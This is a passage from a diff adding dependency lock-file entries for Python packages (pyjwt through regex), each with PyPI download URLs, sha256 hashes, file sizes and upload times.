+sdist = { url = "https://files.pythonhosted.org/packages/3b/81/58d0ac84e1ef3a3843791d6954d94c0b33d526c75eeb1efbce9d0a4c4077/pyjwt-2.13.0.tar.gz", hash = "sha256:41571c89ca91598c79e8ef18a2d07367d4810fbbd6f637794879baf1b7703423", size = 107515, upload-time = "2026-05-21T19:54:36.618Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/a3/5e/ecf12fdb62546d64385c158514e9b2b671f7832108ef2ecd2020ce0af2d1/pyjwt-2.13.0-py3-none-any.whl", hash = "sha256:66adcc2aff09b3f1bbd95fc1e1577df8ac8723c978552fd43304c8a290ac5728", size = 31274, upload-time = "2026-05-21T19:54:35.362Z" },
+]
+
+[package.optional-dependencies]
+crypto = [
+ { name = "cryptography" },
+]
+
+[[package]]
+name = "pyright"
+version = "1.1.411"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "nodeenv" },
+ { name = "typing-extensions" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/7e/ab/265f7dc69d28113ebba19092e57b075f41543b2ed048429c5f56e2b88eac/pyright-1.1.411.tar.gz", hash = "sha256:d885a0551f2e763b089a02702174e7f4ba77548cddabc972ab86d1f7f1b0f998", size = 4112861, upload-time = "2026-06-25T02:14:06.37Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/0a/49/385be530a6a5b78d1cbcd5c2e38debc8959a2fc6bdb716f4e581002979fc/pyright-1.1.411-py3-none-any.whl", hash = "sha256:dc7c72a8e2700c55baa127554040e067041ea53ccfd50bf96308cc4291c7d5d9", size = 6181526, upload-time = "2026-06-25T02:14:04.691Z" },
+]
+
+[[package]]
+name = "pytest"
+version = "9.1.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "colorama", marker = "sys_platform == 'win32'" },
+ { name = "iniconfig" },
+ { name = "packaging" },
+ { name = "pluggy" },
+ { name = "pygments" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/e4/47/b9efed96c114afcfa3c9d3fe98a76a1d14c74a9e266d397cf6eb64be5e01/pytest-9.1.1.tar.gz", hash = "sha256:1088fbde8f2b49d95a549a195707afa7a76a3ce9bcadc26b6d71f0ffda5fe313", size = 1636369, upload-time = "2026-06-19T10:58:32.857Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/24/25/1de2678b631f5a49215c6c96fff41ba892b0a34df68d6d80292b1b48aa7f/pytest-9.1.1-py3-none-any.whl", hash = "sha256:37a86b45efb9a47a61a36449063e8e18d0cab3161329fc099eb21783169c4f0c", size = 386536, upload-time = "2026-06-19T10:58:31.347Z" },
+]
+
+[[package]]
+name = "pytest-asyncio"
+version = "1.4.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "pytest" },
+ { name = "typing-extensions", marker = "python_full_version < '3.13'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/43/7c/d36d04db312ecf4298932ef77e6e4a9e8ad017906e24e34f0b0c361a2473/pytest_asyncio-1.4.0.tar.gz", hash = "sha256:c6c0d2259945122819f171a32ecea2c349ead889ee28176caaf492143424be42", size = 58514, upload-time = "2026-05-26T09:56:04.083Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/03/e2/08a497ef684b88559c9cc5f4ad53a37e7b99e727094a86d6ea32536d5d3c/pytest_asyncio-1.4.0-py3-none-any.whl", hash = "sha256:933ca923a23075a87fb7070c0ec272a6848489824d887c85c812670932835aa1", size = 16930, upload-time = "2026-05-26T09:56:02.576Z" },
+]
+
+[[package]]
+name = "python-discovery"
+version = "1.4.2"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "filelock" },
+ { name = "platformdirs" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/0b/1a/cbbaf13b730abb0a16b964d984e19f2fe520c21a4dc664051359a3f5a9e7/python_discovery-1.4.2.tar.gz", hash = "sha256:8f3746c4b4968d22afbb97d36e1a0e5b66e6c0f297290f2e95f05b9b8bf18690", size = 70277, upload-time = "2026-06-11T16:10:42.383Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/1a/82/a70006589557f267f15bd384c0642ad49f0d97b690c3a05b166b9dcbad3b/python_discovery-1.4.2-py3-none-any.whl", hash = "sha256:475803f53b7b2ed6e490e27373f9d8340f7d2eebf9acdaf645d7d714c97bb500", size = 33886, upload-time = "2026-06-11T16:10:41.192Z" },
+]
+
+[[package]]
+name = "python-dotenv"
+version = "1.2.2"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/82/ed/0301aeeac3e5353ef3d94b6ec08bbcabd04a72018415dcb29e588514bba8/python_dotenv-1.2.2.tar.gz", hash = "sha256:2c371a91fbd7ba082c2c1dc1f8bf89ca22564a087c2c287cd9b662adde799cf3", size = 50135, upload-time = "2026-03-01T16:00:26.196Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/0b/d7/1959b9648791274998a9c3526f6d0ec8fd2233e4d4acce81bbae76b44b2a/python_dotenv-1.2.2-py3-none-any.whl", hash = "sha256:1d8214789a24de455a8b8bd8ae6fe3c6b69a5e3d64aa8a8e5d68e694bbcb285a", size = 22101, upload-time = "2026-03-01T16:00:25.09Z" },
+]
+
+[[package]]
+name = "python-multipart"
+version = "0.0.32"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/5b/42/55c32bb9b12693c092ad250a0e82edb5b31ddeda6eb772de5f308b3804ad/python_multipart-0.0.32.tar.gz", hash = "sha256:be54b7f3fa167bb83e4fcd936b887b708f4e57fe75911c02aebf53efaf8d938e", size = 46881, upload-time = "2026-06-04T16:18:58.647Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/e1/04/e8135ebd1ad02c56ec633277529b2602ff99ff634be76cdba5744cf554fd/python_multipart-0.0.32-py3-none-any.whl", hash = "sha256:ff6d3f776f16878c894e52e107296ffc890e913c611b1a4ec6c44e2821fe2e23", size = 30042, upload-time = "2026-06-04T16:18:57.319Z" },
+]
+
+[[package]]
+name = "pywin32"
+version = "312"
+source = { registry = "https://pypi.org/simple" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/83/ff/32aa7d2ed0ab12b323aaa64f9b75e6ad4f8fd09f9ccfc28c79414d46838d/pywin32-312-cp312-cp312-win32.whl", hash = "sha256:dab4f65ac9c4e48400a2a0530c46c3c579cd5905ecd11b80692373915269208b", size = 6371877, upload-time = "2026-06-04T07:49:28.836Z" },
+ { url = "https://files.pythonhosted.org/packages/03/d9/77040d3b43df3f3be32ea289433d660d2727f5ba327bc73be835127d9d60/pywin32-312-cp312-cp312-win_amd64.whl", hash = "sha256:b457f6d628a47e8a7346ce22acb7e1a46a4a78b52e1d17e1af56871bd19a93bc", size = 6914841, upload-time = "2026-06-04T07:49:31.85Z" },
+ { url = "https://files.pythonhosted.org/packages/e3/cc/7b1ec671775756020a0ee7f4feeaf3c568f0ab86bd3900088cf986937a92/pywin32-312-cp312-cp312-win_arm64.whl", hash = "sha256:6017c58e12f6809fbb0555b75df144c2922a9ffd18e4b9b5afa863b6c1a9d950", size = 6727901, upload-time = "2026-06-04T07:49:34.244Z" },
+ { url = "https://files.pythonhosted.org/packages/2d/41/12fbfd7f36ed2146d8bc9de96c2741296bf0d490b98508496cff322e274c/pywin32-312-cp313-cp313-win32.whl", hash = "sha256:7a27df850933d16a8eabfbaeb73d52b273e2da667f80d70b01a89d1f6828d02c", size = 6370184, upload-time = "2026-06-04T07:49:36.253Z" },
+ { url = "https://files.pythonhosted.org/packages/ba/db/36a78e3403099d31d9746d13fdcde5accc43c1155f375a34d15983a479a7/pywin32-312-cp313-cp313-win_amd64.whl", hash = "sha256:c53e878d15a1c44788082bfe712a905433473aa38f86375b7cf8b45e3acbaaf9", size = 6914298, upload-time = "2026-06-04T07:49:38.876Z" },
+ { url = "https://files.pythonhosted.org/packages/84/37/c1697194092b76de9ed47ca124323f02c57ffc8a45c06f88a3d5acaf01eb/pywin32-312-cp313-cp313-win_arm64.whl", hash = "sha256:59aba5d5940842075343a5ddc6b11f1cdf0d1567fe745290359dfbcc7c2eb831", size = 6727640, upload-time = "2026-06-04T07:49:41.083Z" },
+ { url = "https://files.pythonhosted.org/packages/fc/2b/1f3cded5822fd49c02f40544cbb5f58c7cfd6b1694869fd476cb6170ee97/pywin32-312-cp314-cp314-win32.whl", hash = "sha256:a77a90fbb6881238d2ca9c6fd797b25817f3768fe78d214a90137ff055a75f5b", size = 6468928, upload-time = "2026-06-04T07:49:43.188Z" },
+ { url = "https://files.pythonhosted.org/packages/21/82/3bf86d2e2808902013132e1ce905a7da0da53790f3836c64bf44d55e24f3/pywin32-312-cp314-cp314-win_amd64.whl", hash = "sha256:a4dd3a848290ef724347b19f301045831d8e802fa4464f491b98b1e0a081432e", size = 7024157, upload-time = "2026-06-04T07:49:45.34Z" },
+ { url = "https://files.pythonhosted.org/packages/a4/0e/73f6d6800b4f27655abd9e9f6aaeaefcddb2b946e4674efa2bab184a7f7b/pywin32-312-cp314-cp314-win_arm64.whl", hash = "sha256:9fce94568364e0155e6dfb781ac5d95903be8baf28670632beab1b523f300daa", size = 6839598, upload-time = "2026-06-04T07:49:47.613Z" },
+ { url = "https://files.pythonhosted.org/packages/eb/61/caa39686032d2ebdd04ff0ab5cbe163126c0066d98e00c9018646e42393b/pywin32-312-cp315-cp315-win32.whl", hash = "sha256:5c1fbe4a937a73ae9297384a3da38518cbc694c68ad8a809b2e19acd350f03ed", size = 6471159, upload-time = "2026-06-04T07:49:50.035Z" },
+ { url = "https://files.pythonhosted.org/packages/0f/cd/7e1de64a4a6f69c04214169657ccab0d93a670ea50e35eb8f489d7378249/pywin32-312-cp315-cp315-win_amd64.whl", hash = "sha256:c2f03a0f73f804a13c2735b99392b0cd426bb4f2c4d0178e5ac966a0f21618d5", size = 7025293, upload-time = "2026-06-04T07:49:54.857Z" },
+ { url = "https://files.pythonhosted.org/packages/23/ed/4532e9388e65fa16b46776ef47ad631a64eda1631884488af707666350ed/pywin32-312-cp315-cp315-win_arm64.whl", hash = "sha256:a8597d28f267b39074aef51fa593530082b39cbe5a074226096857b1fed2dfb9", size = 6840337, upload-time = "2026-06-04T07:49:57.531Z" },
+]
+
+[[package]]
+name = "pywin32-ctypes"
+version = "0.2.3"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/85/9f/01a1a99704853cb63f253eea009390c88e7131c67e66a0a02099a8c917cb/pywin32-ctypes-0.2.3.tar.gz", hash = "sha256:d162dc04946d704503b2edc4d55f3dba5c1d539ead017afa00142c38b9885755", size = 29471, upload-time = "2024-08-14T10:15:34.626Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/de/3d/8161f7711c017e01ac9f008dfddd9410dff3674334c233bde66e7ba65bbf/pywin32_ctypes-0.2.3-py3-none-any.whl", hash = "sha256:8a1513379d709975552d202d942d9837758905c8d01eb82b8bcc30918929e7b8", size = 30756, upload-time = "2024-08-14T10:15:33.187Z" },
+]
+
+[[package]]
+name = "pyyaml"
+version = "6.0.3"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/05/8e/961c0007c59b8dd7729d542c61a4d537767a59645b82a0b521206e1e25c2/pyyaml-6.0.3.tar.gz", hash = "sha256:d76623373421df22fb4cf8817020cbb7ef15c725b9d5e45f17e189bfc384190f", size = 130960, upload-time = "2025-09-25T21:33:16.546Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/d1/33/422b98d2195232ca1826284a76852ad5a86fe23e31b009c9886b2d0fb8b2/pyyaml-6.0.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:7f047e29dcae44602496db43be01ad42fc6f1cc0d8cd6c83d342306c32270196", size = 182063, upload-time = "2025-09-25T21:32:11.445Z" },
+ { url = "https://files.pythonhosted.org/packages/89/a0/6cf41a19a1f2f3feab0e9c0b74134aa2ce6849093d5517a0c550fe37a648/pyyaml-6.0.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:fc09d0aa354569bc501d4e787133afc08552722d3ab34836a80547331bb5d4a0", size = 173973, upload-time = "2025-09-25T21:32:12.492Z" },
+ { url = "https://files.pythonhosted.org/packages/ed/23/7a778b6bd0b9a8039df8b1b1d80e2e2ad78aa04171592c8a5c43a56a6af4/pyyaml-6.0.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9149cad251584d5fb4981be1ecde53a1ca46c891a79788c0df828d2f166bda28", size = 775116, upload-time = "2025-09-25T21:32:13.652Z" },
+ { url = "https://files.pythonhosted.org/packages/65/30/d7353c338e12baef4ecc1b09e877c1970bd3382789c159b4f89d6a70dc09/pyyaml-6.0.3-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5fdec68f91a0c6739b380c83b951e2c72ac0197ace422360e6d5a959d8d97b2c", size = 844011, upload-time = "2025-09-25T21:32:15.21Z" },
+ { url = "https://files.pythonhosted.org/packages/8b/9d/b3589d3877982d4f2329302ef98a8026e7f4443c765c46cfecc8858c6b4b/pyyaml-6.0.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ba1cc08a7ccde2d2ec775841541641e4548226580ab850948cbfda66a1befcdc", size = 807870, upload-time = "2025-09-25T21:32:16.431Z" },
+ { url = "https://files.pythonhosted.org/packages/05/c0/b3be26a015601b822b97d9149ff8cb5ead58c66f981e04fedf4e762f4bd4/pyyaml-6.0.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8dc52c23056b9ddd46818a57b78404882310fb473d63f17b07d5c40421e47f8e", size = 761089, upload-time = "2025-09-25T21:32:17.56Z" },
+ { url = "https://files.pythonhosted.org/packages/be/8e/98435a21d1d4b46590d5459a22d88128103f8da4c2d4cb8f14f2a96504e1/pyyaml-6.0.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:41715c910c881bc081f1e8872880d3c650acf13dfa8214bad49ed4cede7c34ea", size = 790181, upload-time = "2025-09-25T21:32:18.834Z" },
+ { url = "https://files.pythonhosted.org/packages/74/93/7baea19427dcfbe1e5a372d81473250b379f04b1bd3c4c5ff825e2327202/pyyaml-6.0.3-cp312-cp312-win32.whl", hash = "sha256:96b533f0e99f6579b3d4d4995707cf36df9100d67e0c8303a0c55b27b5f99bc5", size = 137658, upload-time = "2025-09-25T21:32:20.209Z" },
+ { url = "https://files.pythonhosted.org/packages/86/bf/899e81e4cce32febab4fb42bb97dcdf66bc135272882d1987881a4b519e9/pyyaml-6.0.3-cp312-cp312-win_amd64.whl", hash = "sha256:5fcd34e47f6e0b794d17de1b4ff496c00986e1c83f7ab2fb8fcfe9616ff7477b", size = 154003, upload-time = "2025-09-25T21:32:21.167Z" },
+ { url = "https://files.pythonhosted.org/packages/1a/08/67bd04656199bbb51dbed1439b7f27601dfb576fb864099c7ef0c3e55531/pyyaml-6.0.3-cp312-cp312-win_arm64.whl", hash = "sha256:64386e5e707d03a7e172c0701abfb7e10f0fb753ee1d773128192742712a98fd", size = 140344, upload-time = "2025-09-25T21:32:22.617Z" },
+ { url = "https://files.pythonhosted.org/packages/d1/11/0fd08f8192109f7169db964b5707a2f1e8b745d4e239b784a5a1dd80d1db/pyyaml-6.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:8da9669d359f02c0b91ccc01cac4a67f16afec0dac22c2ad09f46bee0697eba8", size = 181669, upload-time = "2025-09-25T21:32:23.673Z" },
+ { url = "https://files.pythonhosted.org/packages/b1/16/95309993f1d3748cd644e02e38b75d50cbc0d9561d21f390a76242ce073f/pyyaml-6.0.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:2283a07e2c21a2aa78d9c4442724ec1eb15f5e42a723b99cb3d822d48f5f7ad1", size = 173252, upload-time = "2025-09-25T21:32:25.149Z" },
+ { url = "https://files.pythonhosted.org/packages/50/31/b20f376d3f810b9b2371e72ef5adb33879b25edb7a6d072cb7ca0c486398/pyyaml-6.0.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ee2922902c45ae8ccada2c5b501ab86c36525b883eff4255313a253a3160861c", size = 767081, upload-time = "2025-09-25T21:32:26.575Z" },
+ { url = "https://files.pythonhosted.org/packages/49/1e/a55ca81e949270d5d4432fbbd19dfea5321eda7c41a849d443dc92fd1ff7/pyyaml-6.0.3-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a33284e20b78bd4a18c8c2282d549d10bc8408a2a7ff57653c0cf0b9be0afce5", size = 841159, upload-time = "2025-09-25T21:32:27.727Z" },
+ { url = "https://files.pythonhosted.org/packages/74/27/e5b8f34d02d9995b80abcef563ea1f8b56d20134d8f4e5e81733b1feceb2/pyyaml-6.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0f29edc409a6392443abf94b9cf89ce99889a1dd5376d94316ae5145dfedd5d6", size = 801626, upload-time = "2025-09-25T21:32:28.878Z" },
+ { url = "https://files.pythonhosted.org/packages/f9/11/ba845c23988798f40e52ba45f34849aa8a1f2d4af4b798588010792ebad6/pyyaml-6.0.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f7057c9a337546edc7973c0d3ba84ddcdf0daa14533c2065749c9075001090e6", size = 753613, upload-time = "2025-09-25T21:32:30.178Z" },
+ { url = "https://files.pythonhosted.org/packages/3d/e0/7966e1a7bfc0a45bf0a7fb6b98ea03fc9b8d84fa7f2229e9659680b69ee3/pyyaml-6.0.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:eda16858a3cab07b80edaf74336ece1f986ba330fdb8ee0d6c0d68fe82bc96be", size = 794115, upload-time = "2025-09-25T21:32:31.353Z" },
+ { url = "https://files.pythonhosted.org/packages/de/94/980b50a6531b3019e45ddeada0626d45fa85cbe22300844a7983285bed3b/pyyaml-6.0.3-cp313-cp313-win32.whl", hash = "sha256:d0eae10f8159e8fdad514efdc92d74fd8d682c933a6dd088030f3834bc8e6b26", size = 137427, upload-time = "2025-09-25T21:32:32.58Z" },
+ { url = "https://files.pythonhosted.org/packages/97/c9/39d5b874e8b28845e4ec2202b5da735d0199dbe5b8fb85f91398814a9a46/pyyaml-6.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:79005a0d97d5ddabfeeea4cf676af11e647e41d81c9a7722a193022accdb6b7c", size = 154090, upload-time = "2025-09-25T21:32:33.659Z" },
+ { url = "https://files.pythonhosted.org/packages/73/e8/2bdf3ca2090f68bb3d75b44da7bbc71843b19c9f2b9cb9b0f4ab7a5a4329/pyyaml-6.0.3-cp313-cp313-win_arm64.whl", hash = "sha256:5498cd1645aa724a7c71c8f378eb29ebe23da2fc0d7a08071d89469bf1d2defb", size = 140246, upload-time = "2025-09-25T21:32:34.663Z" },
+ { url = "https://files.pythonhosted.org/packages/9d/8c/f4bd7f6465179953d3ac9bc44ac1a8a3e6122cf8ada906b4f96c60172d43/pyyaml-6.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:8d1fab6bb153a416f9aeb4b8763bc0f22a5586065f86f7664fc23339fc1c1fac", size = 181814, upload-time = "2025-09-25T21:32:35.712Z" },
+ { url = "https://files.pythonhosted.org/packages/bd/9c/4d95bb87eb2063d20db7b60faa3840c1b18025517ae857371c4dd55a6b3a/pyyaml-6.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:34d5fcd24b8445fadc33f9cf348c1047101756fd760b4dacb5c3e99755703310", size = 173809, upload-time = "2025-09-25T21:32:36.789Z" },
+ { url = "https://files.pythonhosted.org/packages/92/b5/47e807c2623074914e29dabd16cbbdd4bf5e9b2db9f8090fa64411fc5382/pyyaml-6.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:501a031947e3a9025ed4405a168e6ef5ae3126c59f90ce0cd6f2bfc477be31b7", size = 766454, upload-time = "2025-09-25T21:32:37.966Z" },
+ { url = "https://files.pythonhosted.org/packages/02/9e/e5e9b168be58564121efb3de6859c452fccde0ab093d8438905899a3a483/pyyaml-6.0.3-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:b3bc83488de33889877a0f2543ade9f70c67d66d9ebb4ac959502e12de895788", size = 836355, upload-time = "2025-09-25T21:32:39.178Z" },
+ { url = "https://files.pythonhosted.org/packages/88/f9/16491d7ed2a919954993e48aa941b200f38040928474c9e85ea9e64222c3/pyyaml-6.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c458b6d084f9b935061bc36216e8a69a7e293a2f1e68bf956dcd9e6cbcd143f5", size = 794175, upload-time = "2025-09-25T21:32:40.865Z" },
+ { url = "https://files.pythonhosted.org/packages/dd/3f/5989debef34dc6397317802b527dbbafb2b4760878a53d4166579111411e/pyyaml-6.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7c6610def4f163542a622a73fb39f534f8c101d690126992300bf3207eab9764", size = 755228, upload-time = "2025-09-25T21:32:42.084Z" },
+ { url = "https://files.pythonhosted.org/packages/d7/ce/af88a49043cd2e265be63d083fc75b27b6ed062f5f9fd6cdc223ad62f03e/pyyaml-6.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5190d403f121660ce8d1d2c1bb2ef1bd05b5f68533fc5c2ea899bd15f4399b35", size = 789194, upload-time = "2025-09-25T21:32:43.362Z" },
+ { url = "https://files.pythonhosted.org/packages/23/20/bb6982b26a40bb43951265ba29d4c246ef0ff59c9fdcdf0ed04e0687de4d/pyyaml-6.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:4a2e8cebe2ff6ab7d1050ecd59c25d4c8bd7e6f400f5f82b96557ac0abafd0ac", size = 156429, upload-time = "2025-09-25T21:32:57.844Z" },
+ { url = "https://files.pythonhosted.org/packages/f4/f4/a4541072bb9422c8a883ab55255f918fa378ecf083f5b85e87fc2b4eda1b/pyyaml-6.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:93dda82c9c22deb0a405ea4dc5f2d0cda384168e466364dec6255b293923b2f3", size = 143912, upload-time = "2025-09-25T21:32:59.247Z" },
+ { url = "https://files.pythonhosted.org/packages/7c/f9/07dd09ae774e4616edf6cda684ee78f97777bdd15847253637a6f052a62f/pyyaml-6.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:02893d100e99e03eda1c8fd5c441d8c60103fd175728e23e431db1b589cf5ab3", size = 189108, upload-time = "2025-09-25T21:32:44.377Z" },
+ { url = "https://files.pythonhosted.org/packages/4e/78/8d08c9fb7ce09ad8c38ad533c1191cf27f7ae1effe5bb9400a46d9437fcf/pyyaml-6.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:c1ff362665ae507275af2853520967820d9124984e0f7466736aea23d8611fba", size = 183641, upload-time = "2025-09-25T21:32:45.407Z" },
+ { url = "https://files.pythonhosted.org/packages/7b/5b/3babb19104a46945cf816d047db2788bcaf8c94527a805610b0289a01c6b/pyyaml-6.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6adc77889b628398debc7b65c073bcb99c4a0237b248cacaf3fe8a557563ef6c", size = 831901, upload-time = "2025-09-25T21:32:48.83Z" },
+ { url = "https://files.pythonhosted.org/packages/8b/cc/dff0684d8dc44da4d22a13f35f073d558c268780ce3c6ba1b87055bb0b87/pyyaml-6.0.3-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a80cb027f6b349846a3bf6d73b5e95e782175e52f22108cfa17876aaeff93702", size = 861132, upload-time = "2025-09-25T21:32:50.149Z" },
+ { url = "https://files.pythonhosted.org/packages/b1/5e/f77dc6b9036943e285ba76b49e118d9ea929885becb0a29ba8a7c75e29fe/pyyaml-6.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:00c4bdeba853cc34e7dd471f16b4114f4162dc03e6b7afcc2128711f0eca823c", size = 839261, upload-time = "2025-09-25T21:32:51.808Z" },
+ { url = "https://files.pythonhosted.org/packages/ce/88/a9db1376aa2a228197c58b37302f284b5617f56a5d959fd1763fb1675ce6/pyyaml-6.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:66e1674c3ef6f541c35191caae2d429b967b99e02040f5ba928632d9a7f0f065", size = 805272, upload-time = "2025-09-25T21:32:52.941Z" },
+ { url = "https://files.pythonhosted.org/packages/da/92/1446574745d74df0c92e6aa4a7b0b3130706a4142b2d1a5869f2eaa423c6/pyyaml-6.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:16249ee61e95f858e83976573de0f5b2893b3677ba71c9dd36b9cf8be9ac6d65", size = 829923, upload-time = "2025-09-25T21:32:54.537Z" },
+ { url = "https://files.pythonhosted.org/packages/f0/7a/1c7270340330e575b92f397352af856a8c06f230aa3e76f86b39d01b416a/pyyaml-6.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4ad1906908f2f5ae4e5a8ddfce73c320c2a1429ec52eafd27138b7f1cbe341c9", size = 174062, upload-time = "2025-09-25T21:32:55.767Z" },
+ { url = "https://files.pythonhosted.org/packages/f1/12/de94a39c2ef588c7e6455cfbe7343d3b2dc9d6b6b2f40c4c6565744c873d/pyyaml-6.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:ebc55a14a21cb14062aa4162f906cd962b28e2e9ea38f9b4391244cd8de4ae0b", size = 149341, upload-time = "2025-09-25T21:32:56.828Z" },
+]
+
+[[package]]
+name = "referencing"
+version = "0.37.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "attrs" },
+ { name = "rpds-py" },
+ { name = "typing-extensions", marker = "python_full_version < '3.13'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/22/f5/df4e9027acead3ecc63e50fe1e36aca1523e1719559c499951bb4b53188f/referencing-0.37.0.tar.gz", hash = "sha256:44aefc3142c5b842538163acb373e24cce6632bd54bdb01b21ad5863489f50d8", size = 78036, upload-time = "2025-10-13T15:30:48.871Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/2c/58/ca301544e1fa93ed4f80d724bf5b194f6e4b945841c5bfd555878eea9fcb/referencing-0.37.0-py3-none-any.whl", hash = "sha256:381329a9f99628c9069361716891d34ad94af76e461dcb0335825aecc7692231", size = 26766, upload-time = "2025-10-13T15:30:47.625Z" },
+]
+
+[[package]]
+name = "regex"
+version = "2026.6.28"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/f1/05/e4f219230e11e774a6c9987d2ab0d0c6b8573e13a17e143d0015bee710ef/regex-2026.6.28.tar.gz", hash = "sha256:3cb4b6c5cb3060cc31efdc1fbb27c25fb9b29044afd87e40601a1c4d9db54342", size = 416101, upload-time = "2026-06-28T19:56:55.302Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/da/21/44aa415873032056c43eac21c67285deb2cf66cddb2a964c3cdc8f803efc/regex-2026.6.28-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:81cc5793ad33a10444445e8d29d3c73e752c8fb2e120772d70fcb6d41df40fe1", size = 490480, upload-time = "2026-06-28T19:54:05.392Z" },
+ { url = "https://files.pythonhosted.org/packages/8b/5f/30d4116093c2128099f78b6990dfc1698fdbf3ee528f1e1c647378034c79/regex-2026.6.28-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:e18225243250a1f7d7e5e5d883f3b96465cd79031acf5c6db902b7025f2125d9", size = 292137, upload-time = "2026-06-28T19:54:07.088Z" },
+ { url = "https://files.pythonhosted.org/packages/cb/0e/ca20a0e0de49837e6337603a91ab77556aa27033ac5b975615d98698cfb3/regex-2026.6.28-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:ecd1638b1c2db1f2d01c182a4b0d3e2e88b0e99910320a745c1727ee3638ddab", size = 289623, upload-time = "2026-06-28T19:54:08.762Z" },
+ { url = "https://files.pythonhosted.org/packages/50/11/c013422a7e2c59946df8ac93e792a4922c98287f2a2181341603c78a5d98/regex-2026.6.28-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4303ebe16b74eeb3fe2715745023266fea92fd44a23f3e7bb2fb48c7a7bbc195", size = 796756, upload-time = "2026-06-28T19:54:10.616Z" },
+ { url = "https://files.pythonhosted.org/packages/b0/95/1309645a0e1ee6fb91d954501da57a0b33d50ad2a9acb313702851a7054e/regex-2026.6.28-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:56b856b70b96c381d837f609eee442a1bd320cd2159f5c294b679552fb1a7eaf", size = 865465, upload-time = "2026-06-28T19:54:12.742Z" },
+ { url = "https://files.pythonhosted.org/packages/20/06/491802db47c6f5e2904ffa2518ad3ac27fe6bbf5a66d73210a95cc080d47/regex-2026.6.28-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f74675ab76ab1d005ffba4dee308e53e89efc22be6e9f9fae5b539a3f81bdff2", size = 912350, upload-time = "2026-06-28T19:54:14.508Z" },
